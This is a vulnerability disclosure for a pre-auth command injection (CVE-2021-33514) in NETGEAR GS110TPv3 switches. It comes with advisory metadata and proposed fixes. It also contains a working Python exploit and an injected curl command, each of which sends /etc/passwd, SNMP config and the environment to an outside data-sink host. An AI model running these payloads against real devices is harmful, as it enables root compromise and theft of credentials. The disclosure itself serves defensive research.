```
*** Summary:
Affected Model: NETGEAR GS110TPV3 Smart Managed Pro Switch
Firmware Version: V7.0.5.2 (from 2021-01-11)
NETGEAR GS110TPV3 Smart Managed Pro Switch is vulnerable to a pre-auth shell
injection due to incorrect input handling in setup.cgi query parameters.
This allows an attacker in the same LAN to run arbitrary commands as root on
the switch.
Attached PoC will execute the given commands as root and send the result to a
provided open TCP port (technically as an HTTP packet).
This report also points out two buffer overflows, though they are believed to be
not directly exploitable.
IMPORTANT: This vulnerability is reported under the 90-day policy, i.e. this
report will be shared publicly with the defensive community on 17th May 2021.
See https://www.google.com/about/appsecurity/ for details.
NOTE: At this point in time I haven't checked what other models are affected,
but I strongly suspect that at least several other NETGEAR devices use the same
code.
*** More details:
The /sqfs/home/web/cgi/setup.cgi file parses the QUERY_STRING and extracts
the "token" parameter. This parameter is passed to sal_sys_ssoReturnToken_chk
function for verification.
result = sal_sys_ssoReturnToken_chk(token_param, 0);
This function is implemented in /sqfs/lib/libsal.so.0.0. The important part of
looks like this:
sprintf(
command, "echo '%s'| base64 -d |openssl rsautl -decrypt ...", token, ...
);
popen(command, ...);
While the "token" parameter is partially URL-encoded at this point, there is
just enough characters to break out of the single quote enclosure to inject
another command, e.g.:
.../setup.cgi?token=';$HTTP_USER_AGENT;'
with the User-Agent set to e.g.:
curl -T /etc/snmp/snmpd.conf http://sink.address/
Note that while browsers encode single quotes as %27, the lighttpd variant used
on this switch does not.
A different way of exploitation, allowing for more complex scripts to be sent to
and executed on the switch is shown in the PoC exploit.
While there might be ways to exploit this vulnerability in a reflected way from
outside of the LAN by making an HTML/JavaScript website which causes an in-LAN
browser to send an exploitation payload to e.g. the default, guessed or
brute-forced in-LAN switch address, I was not able to make this work in the
short time I spent on this due to - as mentioned before - browsers encoding
single quotes as %27, rendering the single quote termination impossible. I'm
still not ready to rule out the possibility of this being exploitable in a
reflective outside of LAN way in combination with some other vulnerability or
quirk.
*** Proposed fix:
Given the observed quality of the code (e.g. note the buffer overflow when
forming the command with sprintf, or the fact that instead of using openssl
libraries directly, all observed code concatenates commands and executes openssl
out of process) it would be advised to do a thorough re-write of most of the
firmware in accordance to best security practices - anything less is just a band
aid applied to a colander.
An immediate fix however is to validate the input format, both in setup.cgi
(note the buffer overflow in setup.cgi when copying "token" or "error_code"
parameters by the way) and libsal.so, i.e. the "token" is expected to be base64
encoded, therefore it's enough to verify that the input contains only base64
allowed characters.
Furthermore, it would be better to pass the data via pipe to base64 -d, instead
of concatenating strings. Or at least add a size check to prevent the buffer
overflow in printf (libsal.so) and memcpy (setup.cgi) - in this case please note
that using snprintf is not enough, as it will just create an attacker controlled
string truncation problem, which might lead to other vulnerabilities in the
sal_sys_ssoReturnToken_chk function.
Please let me know if you have any questions.
*** PoC Exploit:
#!/usr/bin/python3
import requests
import json
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
import sys
import base64
# Address of the switch.
SWITCH_ADDR = '11.22.33.44' # <------------------------------------ CHANGE THIS
# Address of any open TCP port to receive data (e.g. nc -v -l -p 7788).
DATA_SINK = 'http://33.44.55.66:7788/' # <------------------------- CHANGE THIS
# Commands to run. # <----------------------------- FEEL FREE TO CUSTOMIZE THIS
COMMANDS_TO_RUN = f"""
cat /etc/passwd > /var/tmp/x
cat /etc/snmp/snmpd.conf >> /var/tmp/x
export >> /var/tmp/x
curl -T /var/tmp/x {DATA_SINK}
"""
# Encode it a bit so that all characters work like in a bash script.
COMMANDS_TO_RUN += "\nexit\n"
COMMANDS_TO_RUN = base64.b64encode(COMMANDS_TO_RUN.encode()).decode()
COMMANDS_TO_RUN = 'sh -c echo${IFS}%s|base64${IFS}-d|sh' % COMMANDS_TO_RUN
# Send the request.
print("Sending request. This script will not exit until sink closes.")
r = requests.post(
f"https://{SWITCH_ADDR}/cgi/setup.cgi?token=';$(cat);'",
verify=False,
data=COMMANDS_TO_RUN
)
```
{"id": "SSV:99303", "type": "seebug", "bulletinFamily": "exploit", "title": "NETGEAR GS110TPV3\u672a\u8ba4\u8bc1\u547d\u4ee4\u6ce8\u5165\u6f0f\u6d1e(CVE-2021-33514)", "description": "```\n\n*** Summary:\nAffected Model: NETGEAR GS110TPV3 Smart Managed Pro Switch\nFirmware Version: V7.0.5.2 (from 2021-01-11)\n\nNETGEAR GS110TPV3 Smart Managed Pro Switch is vulnerable to a pre-auth shell\ninjection due to incorrect input handling in setup.cgi query parameters.\nThis allows an attacker in the same LAN to run arbitrary commands as root on\nthe switch.\n\nAttached PoC will execute the given commands as root and send the result to a\nprovided open TCP port (technically as an HTTP packet).\n\nThis report also points out two buffer overflows, though they are believed to be\nnot directly exploitable.\n\nIMPORTANT: This vulnerability is reported under the 90-day policy, i.e. this\nreport will be shared publicly with the defensive community on 17th May 2021.\nSee https://www.google.com/about/appsecurity/ for details.\n\nNOTE: At this point in time I haven't checked what other models are affected,\nbut I strongly suspect that at least several other NETGEAR devices use the same\ncode.\n\n\n*** More details:\n\nThe /sqfs/home/web/cgi/setup.cgi file parses the QUERY_STRING and extracts\nthe \"token\" parameter. This parameter is passed to sal_sys_ssoReturnToken_chk\nfunction for verification.\n\n result = sal_sys_ssoReturnToken_chk(token_param, 0);\n\nThis function is implemented in /sqfs/lib/libsal.so.0.0. The important part of\nlooks like this:\n\n sprintf(\n command, \"echo '%s'| base64 -d |openssl rsautl -decrypt ...\", token, ...\n );\n popen(command, ...);\n\nWhile the \"token\" parameter is partially URL-encoded at this point, there is\njust enough characters to break out of the single quote enclosure to inject\nanother command, e.g.:\n\n .../setup.cgi?token=';$HTTP_USER_AGENT;'\n\nwith the User-Agent set to e.g.:\n\n curl -T /etc/snmp/snmpd.conf http://sink.address/\n\nNote that while browsers encode single quotes as %27, the lighttpd variant used\non this switch does not.\n\nA different way of exploitation, allowing for more complex scripts to be sent to\nand executed on the switch is shown in the PoC exploit.\n\nWhile there might be ways to exploit this vulnerability in a reflected way from\noutside of the LAN by making an HTML/JavaScript website which causes an in-LAN\nbrowser to send an exploitation payload to e.g. the default, guessed or\nbrute-forced in-LAN switch address, I was not able to make this work in the\nshort time I spent on this due to - as mentioned before - browsers encoding\nsingle quotes as %27, rendering the single quote termination impossible. I'm\nstill not ready to rule out the possibility of this being exploitable in a\nreflective outside of LAN way in combination with some other vulnerability or\nquirk.\n\n\n*** Proposed fix:\n\nGiven the observed quality of the code (e.g. note the buffer overflow when\nforming the command with sprintf, or the fact that instead of using openssl\nlibraries directly, all observed code concatenates commands and executes openssl\nout of process) it would be advised to do a thorough re-write of most of the\nfirmware in accordance to best security practices - anything less is just a band\naid applied to a colander.\n\nAn immediate fix however is to validate the input format, both in setup.cgi\n(note the buffer overflow in setup.cgi when copying \"token\" or \"error_code\"\nparameters by the way) and libsal.so, i.e. the \"token\" is expected to be base64\nencoded, therefore it's enough to verify that the input contains only base64\nallowed characters.\nFurthermore, it would be better to pass the data via pipe to base64 -d, instead\nof concatenating strings. Or at least add a size check to prevent the buffer\noverflow in printf (libsal.so) and memcpy (setup.cgi) - in this case please note\nthat using snprintf is not enough, as it will just create an attacker controlled\nstring truncation problem, which might lead to other vulnerabilities in the\nsal_sys_ssoReturnToken_chk function.\n\nPlease let me know if you have any questions.\n\n\n*** PoC Exploit:\n#!/usr/bin/python3\nimport requests\nimport json\nimport urllib3\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\nimport sys\nimport base64\n\n# Address of the switch.\nSWITCH_ADDR = '11.22.33.44' # <------------------------------------ CHANGE THIS\n\n# Address of any open TCP port to receive data (e.g. nc -v -l -p 7788).\nDATA_SINK = 'http://33.44.55.66:7788/' # <------------------------- CHANGE THIS\n\n# Commands to run. # <----------------------------- FEEL FREE TO CUSTOMIZE THIS\nCOMMANDS_TO_RUN = f\"\"\"\ncat /etc/passwd > /var/tmp/x\ncat /etc/snmp/snmpd.conf >> /var/tmp/x\nexport >> /var/tmp/x\ncurl -T /var/tmp/x {DATA_SINK}\n\"\"\"\n\n# Encode it a bit so that all characters work like in a bash script.\nCOMMANDS_TO_RUN += \"\\nexit\\n\"\nCOMMANDS_TO_RUN = base64.b64encode(COMMANDS_TO_RUN.encode()).decode()\nCOMMANDS_TO_RUN = 'sh -c echo${IFS}%s|base64${IFS}-d|sh' % COMMANDS_TO_RUN\n\n# Send the request.\nprint(\"Sending request. This script will not exit until sink closes.\")\nr = requests.post(\n f\"https://{SWITCH_ADDR}/cgi/setup.cgi?token=';$(cat);'\",\n verify=False,\n data=COMMANDS_TO_RUN\n)\n```", "published": "2021-07-15T00:00:00", "modified": "2021-07-15T00:00:00", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "href": "https://www.seebug.org/vuldb/ssvid-99303", "reporter": "Knownsec", "references": [], "cvelist": ["CVE-2021-33514"], "immutableFields": [], "lastseen": "2021-07-24T08:27:13", "viewCount": 47, "enchantments": {"dependencies": {"references": [{"type": "checkpoint_advisories", "idList": ["CPAI-2021-0328"]}, {"type": "cve", "idList": ["CVE-2021-33514"]}], "rev": 4}, "score": {"value": 6.1, "vector": "NONE"}, "backreferences": {"references": [{"type": "checkpoint_advisories", "idList": ["CPAI-2021-0328"]}, {"type": "cve", "idList": ["CVE-2021-33514"]}]}, "exploitation": null, "vulnersScore": 6.1}, "sourceHref": "", "sourceData": "", "status": "cve,details", "cvss2": {}, "cvss3": {}, "_state": {"dependencies": 1645929880}}
{"checkpoint_advisories": [{"lastseen": "2022-02-16T19:30:12", "description": "A command injection vulnerability exists in NETGEAR routers. Successful exploitation of this vulnerability could allow a remote attacker to execute arbitrary commands on the affected system.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-08-02T00:00:00", "type": "checkpoint_advisories", "title": "NETGEAR Command Injection (CVE-2021-33514)", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-33514"], "modified": "2022-01-23T00:00:00", "id": "CPAI-2021-0328", "href": "", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "cve": [{"lastseen": "2022-03-23T18:37:20", "description": "Certain NETGEAR devices are affected by command injection by an unauthenticated attacker via the vulnerable /sqfs/lib/libsal.so.0.0 library used by a CGI application, as demonstrated by setup.cgi?token=';$HTTP_USER_AGENT;' with an OS command in the User-Agent field. This affects GC108P before 1.0.7.3, GC108PP before 1.0.7.3, GS108Tv3 before 7.0.6.3, GS110TPPv1 before 7.0.6.3, GS110TPv3 before 7.0.6.3, GS110TUPv1 before 1.0.4.3, GS710TUPv1 before 1.0.4.3, GS716TP before 1.0.2.3, GS716TPP before 1.0.2.3, GS724TPPv1 before 2.0.4.3, GS724TPv2 before 2.0.4.3, GS728TPPv2 before 6.0.6.3, GS728TPv2 before 6.0.6.3, GS752TPPv1 before 6.0.6.3, GS752TPv2 before 6.0.6.3, MS510TXM before 1.0.2.3, and MS510TXUP before 1.0.2.3.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-05-21T23:15:00", "type": "cve", "title": "CVE-2021-33514", "cwe": ["CWE-78"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-33514"], "modified": "2022-01-04T16:53:00", "cpe": [], "id": "CVE-2021-33514", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-33514", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "cpe23": []}]}